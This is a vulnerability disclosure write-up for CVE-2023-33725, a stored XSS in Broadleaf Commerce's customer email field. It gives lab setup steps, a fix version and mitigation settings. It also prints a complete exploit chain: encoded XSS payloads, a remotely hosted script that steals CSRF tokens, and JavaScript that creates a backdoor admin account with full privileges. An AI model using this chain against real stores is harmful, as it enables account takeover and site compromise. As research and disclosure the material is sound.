Broadleaf is a Open source/Commerical E Commerce framework based on Spring/Thymeleaf Broadleaf Commerce All work below is done on their Demo application, but the vulnerabilities are in the underlying framework, the demo site is a thin layer built on top of the Broadleaf framework to showcase it.GitHub - BroadleafCommerce/DemoSite: The Broadleaf Heat Clinic Spring Boot application
The site is split into 2 different applications I'm focussing on.
Site : Which is the customer facing storefront.
Admin : Which is the backend admin interface used to administer the store, add/remove items, change prices etc.
Burptrast The Burptrast plugin was used to find the initial vulnerability, the Broadleaf Demo application was instrumented with Assess, which is provided to Burp via the Burptrast plugin.
TLDR; CVE-2023-33725. A XSS Vulnerability in the email field allows JS injection within the checkout page of the Site. But more seriously the same vulnerability appears in the Admin site. Allowing a Customer to register with the website, with a email address containing a XSS attack, when a Admin logs into the Admin site and views the list of customers, the XSS is triggered, which in turn creates a new Admin user, allowing the attacker to login a site Admin.
CVE-2023-33725 has been fixed in broadleaf-6.2.6.1-GA if you are using an earlier version it is important to update as soon as possible.
If you cannot upgrade your Ecommerce site quickly, it is possible to mitigate this vulnerability by enabling XSS protections provided by broadleaf ( They are not enabled by default in the demo )
exploitProtection.xssEnabled=true
exploitProtection.xsrfEnabled=true
blc.site.enable.xssWrapper=true
Of if you have this enabled already, you are safe from this vulnerability.
If you use either Docker or Manual you will first need a contrast_security.yaml file. Details of how to do this are under the contrast_security.yaml section of Contrast-Community-Edition.md Once you have the credentials from the config file, copy the api : section into the contrast_security.yaml file in this directory and point the agent at that file.
Details of how to configure Burptrast are available under README.md
Once you have added your TeamServer Credentials to contrast_security.yaml, details above. Run the following command docker commands from this directory.
docker build -t cve-2023-33725 .
docker run -p 8443:8443 -p 8444:8444 cve-2023-33725
The build command may take a few minutes to run. Once running you should be able to access the demo site under https://localhost:8443 And the admin site under https://localhost:8444
Prerequisities
- Java 11
- Maven
- Git
Clone the Broadleaf Demo site from github.
git clone https://github.com/BroadleafCommerce/DemoSite.git
Cd into the directory, roll back to the vulnerable version and build
cd DemoSite
git checkout 369d26c
mvn clean install
Edit the pom.xml file under DemoSite/site/pom.xml
And modify the properties to
<properties>
<debug.port>8000</debug.port>
<debug.args>-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -javaagent:/location/to/assess/agent/jar/contrast-agent-4.13.1.jar -Dcontrast.config.path=/location/to/contrast/config/contrast_security.yaml</debug.args>
</properties>
-javaagent is the location of the contrast jar file. It can be downloaded fom maven https://repo1.maven.org/maven2/com/contrastsecurity/contrast-agent/4.13.1/contrast-agent-4.13.1.jar
-Dcontrast.config.path is the location of the contast agent config file. This is used to configure and authenticate the agent against TeamServer.
To build under DemoSite run the command
mvn clean install
Then to start up the site application run the following command from the DemoSite/site directory.
cd site/
mvn spring-boot:run
Once this has started up, from another terminal start up the admin application. This is run from the DemoSite/admin diretory.
cd admin/
mvn spring-boot:run
Once running you should be able to access the demo site under https://localhost:8443 And the admin site under https://localhost:8444
Full details of how to use Burptrast can be found here README.md
Once installed and configured, select the broadleaf-demo application from the list of applications and select update. You should see a large number of routes, these will be imported into the sitemap.
But before that, set the URL path to https localhost 8443 . As this is the URL we will be testing the application from.
Then select Live Browse and Then Import Routes to Site Map. This will add all these routes to Burp’s sitemap making it easier for Burp to find vulnerabilities.
The Stored XSS vulnerability was first found by running a regular business flow of the site.
- Select an Item
- Add it to the Basket
- Checkout as Guest
- “Pay”
With Burptrast, findings in Assess triggered by a request from the Burp Proxy are automatically correlated with the session that made them and show up in Burp’s issue tab.
In this case the email address that was added at checkout, was tracked by Assess, saved to the underlying database, then on a following page it was returned to the user without any encoding to mitigate a potential XSS vulnerability.
While Assess showed that the value originating from a potential attacker, entered the database and was returned in a way that allows for a Stored XSS vulnerability, it could be that there are some validation or encoding that is done that Assess missed. Also as an email field, it is limited in what can be entered.
First, create a non guest customer account, this will be easier to verify this issue and more likely to be persistent than a guest user checkout.
Then once logged in we can edit the email address field on the profile. This XSS in a valid email address is from XSS in Email Login Fields:
"><svg/onload=alert(1)>"@gmail.com
Which fails due to client side validation
But by modifying a valid email change request in burp
( you need to use the url encoded version of the payload which is
%60%22%3E%3Csvg%2Fonload%3Dalert%281%29%3E%22%40gmail.com%60
)
We bypass the client side validation and get And we can verify the vulnerability by going to the checkout page.
So we have a verified XSS Vulnerability, with which you can annoy yourself. But what else can it do?
There is a separate Admin site running on https://localhost:8444/admin
( default credentials for the demo site are admin:admin )
By going to customers page we immediately see that the admin site is vulnerable as it displays the signed up customer's email addresses and as this impacts the site admin we should be able to further leverage this XSS.
Under https://localhost:8444/admin/user-management we have the ability of creating new admin users.
This generates a POST request we can replicate within the XSS.
But there is an issue, there are two tokens within the request, a CSRFToken and StateVersionToken. If we want to create a new admin user we also need to find these tokens.
These tokens reside within the HTML of the generated page. So sending a GET request to /admin/user-management which doesn't change the application state and therefore doesn’t require a token, reveals the tokens.
function getTokenJS() {
var xhr = new XMLHttpRequest();
xhr.responseType = "document";
xhr.open("GET", "/admin/user-management", true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
page = xhr.response
csrf = page.getElementsByName("csrfToken");
state = page.getElementsByName("stateVersionToken");
console.log("The token is: " + csrf[0].value);
console.log("The state is: " + state[0].value);
submitFormWithTokenJS(csrf[0].value, state[0].value);
}
};
xhr.send(null);
}
This retrieves the CSRF and State tokens.
The next function takes the tokens and embeds them into the POST request to add the new admin user.
function submitFormWithTokenJS(token, state) {
const username = "backdooradmin";
var xhr = new XMLHttpRequest();
xhr.open("POST", "/admin/user-management/add", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.responseType = "document";
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseURL)
var result = /[^/]*$/.exec(xhr.responseURL)[0];
addAdminAccess(token,state,result);
}
}
xhr.send("ceilingEntityClassname=org.broadleafcommerce.openadmin.server.security.domain.AdminUser&entityType=org.broadleafcommerce.openadmin.server.security.domain.AdminUserImpl&id=§ionCrumbs=&mainEntityName=&preventSubmit=false&jsErrorMapString=&fields%5B'name'%5D.value="+username+"&fields%5B'login'%5D.value="+username+"&fields%5B'email'%5D.value="+username+"%40example.com&fields%5B'phoneNumber'%5D.value=&fields%5B'password'%5D.value="+username+"&fields%5B'passwordConfirm'%5D.value="+username+"&fields%5B'activeStatusFlag'%5D.value=true&fields%5B'auditable__createdBy'%5D.value=&fields%5B'auditable__dateCreated'%5D.value-display=&fields%5B'auditable__dateCreated'%5D.value=&fields%5B'auditable__updatedBy'%5D.value=&fields%5B'auditable__dateUpdated'%5D.value-display=&fields%5B'auditable__dateUpdated'%5D.value=&csrfToken="+token+"&stateVersionToken="+state);
}
There is a 3rd step. While the above generates the admin user, its a admin account with no privileges.
The next step gives the admin user master admin privileges.
function addAdminAccess(token,state,path) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "/admin/user-management/"+path+"/allRoles/add", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.responseType = "document";
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
}
}
xhr.send("fields%5B'id'%5D.value=-1&fields%5B'description'%5D.value=Admin+Master+Access&fields%5B'__adminMainEntity'%5D.value=ROLE_ADMIN&csrfToken="+token+"&stateVersionToken="+state);
}
With this js file created, we just need to host it somewhere https://joebeeton.github.io/b.js
Then reference it in our original XSS by setting the customer email address to
"<script src='https://joebeeton.github.io/b.js' />"@ab.uk
( you need to use the url encoded version of the payload which is
%22%3Cscript%20src%3D%27https%3A%2F%2Fjoebeeton.github.io%2Fb.js%27%20%2F%3E%22%40ab.uk
)
Then wait for an unsuspecting admin user to login, trigger the xss payload and generate the new admin account for us.
And from there the attacker can login with the credentials newadmin : newadmin as an admin and takeover the site.